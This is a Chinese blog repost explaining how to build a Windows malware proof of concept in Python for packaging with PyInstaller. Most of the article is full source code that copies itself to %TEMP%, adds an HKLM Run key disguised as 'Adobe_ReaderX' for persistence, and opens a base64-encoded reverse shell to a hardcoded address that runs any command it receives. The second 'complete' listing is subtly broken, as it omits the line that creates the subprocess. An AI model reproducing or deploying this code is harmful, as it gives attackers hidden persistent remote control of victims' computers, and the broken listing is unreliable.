如何用Python和PyInstaller编写Windows恶意代码

本文介绍了一种使用Python和PyInstaller构建恶意软件的POC,包括如何修改注册表实现持久化运行以及通过反向Shell进行远程控制。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

免责声明:本文旨在分享,切勿恶意利用!

本文主要展示的是通过使用python和PyInstaller来构建恶意软件的一些poc。
本文转载至
http://www.freebuf.com/vuls/98273.html

众所周知的,恶意软件多会对目标进行持续性的攻击。而这一点在windows上有很多方法可以实现,最常见的做法是修改以下注册表项:“Software\Microsoft\Windows\CurrentVersion\Run”。以下是对利用python去复制程序到%TEMP%目录,然后对注册表进行修改使得这段代码可以在用户登录电脑时执行。

import sys, base64, os, socket, subprocess
from _winreg import *
#—winreg模块参考http://blog.sina.com.cn/s/blog_4b5039210100gmsb.html

def autorun(tempdir, fileName, run):
# Copy executable to %TEMP%:
    os.system('copy %s %s'%(fileName, tempdir))
#os.system参考
http://www.oschina.net/code/snippet_105637_22437
#把filename拷贝到tempdir

# Queries Windows registry for key values
# Appends autorun key to runkey array
    key = OpenKey(HKEY_LOCAL_MACHINE, run)

    #读取用的方法是OpenKey方法:打开特定的key
#_winreg.OpenKey(key,sub_key,res=0,sam=KEY_READ)

    runkey =[]
    try:
        i = 0
        while True:
            subkey = EnumValue(key, i)
            #EnumValue方法用来枚举键值,EnumKey用来枚举子键
            runkey.append(subkey[0])
            #索引到键值对的第一个值,添加进runkey类表
            i += 1
    except WindowsError:
        pass

#_winreg模块可以用来操作windows的注册表
#首先用OpenKey获得句柄handle:
#_winreg.OpenKey(key, sub_key[, res[, sam]])

#这个就是句柄
#handler=_winreg.OpenKey(_winreg.HKEY_CURRENT_USER\So#ftware\Microsoft\Terminal Server #Client,'LocalDevices')就获得了指向LocalDevices的句柄,我们#可以对它进行操作了.
#windows注册表的组成是由类似键值对组成的,**键(key)**是上文说的#LocalDevices,值分三种

#**name,type,data 我们想要获得键值,可以用EnumKey(key,index)**和EnumValue(key,index)因为一个句柄下可能有很多Key和多个Value多亿需要索引index来确定位置,如果要遍历,可以用循环.



# Set autorun key:
    if 'Adobe ReaderX' not in runkey:
        try:
            key= OpenKey(HKEY_LOCAL_MACHINE, run,0,KEY_ALL_ACCESS)
            SetValueEx(key ,'Adobe_ReaderX',0,REG_SZ,r"%TEMP%\mw.exe")
            #_winreg.SetValueEx(key,value_name,reserved,type,value) 该函数用于设置key中对应name的type和value

            key.Close()
        except WindowsError:
            pass

在将代码放到 %TEMP%目录中并且设置了持续性之后,我们就可以执行下一部分代码,反向的壳。这里我利用了TrustedSec公布的python的反向shell,不过进行了一些修改—对网络流量进行Base64编码。

def shell():
#Base64 encoded reverse shell
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('192.168.56.1', int(443)))
    s.send('[*] Connection Established!')
    while 1:
        data = s.recv(1024)
        if data == "quit": break
        proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
        stdout_value = proc.stdout.read() + proc.stderr.read()
        encoded = base64.b64encode(stdout_value)
        s.send(encoded)
        #s.send(stdout_value)
    s.close()
def main():
    tempdir = '%TEMP%'
    fileName = sys.argv[0]
    run = "Software\Microsoft\Windows\CurrentVersion\Run"
    autorun(tempdir, fileName, run)
    shell()
if __name__ == "__main__":
        main()

现在当这个程序执行时,它将会打开一个反向shell返回到“攻击者”。在这种情况下“攻击者”只是脚本中硬编码的ip,但在一个域或者亚马逊云上却是非常简单轻松的。下图展示了程序在Windows主机上执行并连接到攻击者,你可以注意到这里的网络流量是base64编码的:
这里写图片描述

以下是完整的代码:

import sys, base64, os, socket, subprocess
from _winreg import *
def autorun(tempdir, fileName, run):
# Copy executable to %TEMP%:
    os.system('copy %s %s'%(fileName, tempdir))
# Queries Windows registry for the autorun key value
# Stores the key values in runkey array
    key = OpenKey(HKEY_LOCAL_MACHINE, run)
    runkey =[]
    try:
        i = 0
        while True:
            subkey = EnumValue(key, i)
            runkey.append(subkey[0])
            i += 1
    except WindowsError:
        pass
# If the autorun key "Adobe ReaderX" isn't set this will set the key:
    if 'Adobe ReaderX' not in runkey:
        try:
            key= OpenKey(HKEY_LOCAL_MACHINE, run,0,KEY_ALL_ACCESS)
            SetValueEx(key ,'Adobe_ReaderX',0,REG_SZ,r"%TEMP%\mw.exe")
            #_winreg.SetValueEx(key,value_name,reserved,type,value) 该函数用于设置key中对应name的type和value
            key.Close()
        except WindowsError:
            pass
def shell():
#Base64 encoded reverse shell
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('192.168.56.1', int(443)))
    s.send('[*] Connection Established!')
    while 1:
        data = s.recv(1024)
        if data == "quit": break
#stdin, stdout, stderr:指定了执行程序的标准输入,标准输出和标准错误的文件句柄。
        # 有效的值可以是 PIPE, 一个存在的文件描述符,或存在的文件对象,或 None.
        # 默认值为 None。 
         #stderr可以设置成STDOUT, 它表示将子进程的stderr数据重定向到stdout.
        stdout_value = proc.stdout.read() + proc.stderr.read()
        encoded = base64.b64encode(stdout_value)
        s.send(encoded)
        #s.send(stdout_value)
    s.close()
def main():
    tempdir = '%TEMP%'
    fileName = sys.argv[0]
    run = "Software\Microsoft\Windows\CurrentVersion\Run"
    autorun(tempdir, fileName, run)
    shell()
if __name__ == "__main__":
        main()

整体思路:
打开注册表
判断键值
执行shell

*参考来源:primalsecurity.net,FB小编老王隔壁的白帽子翻译,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值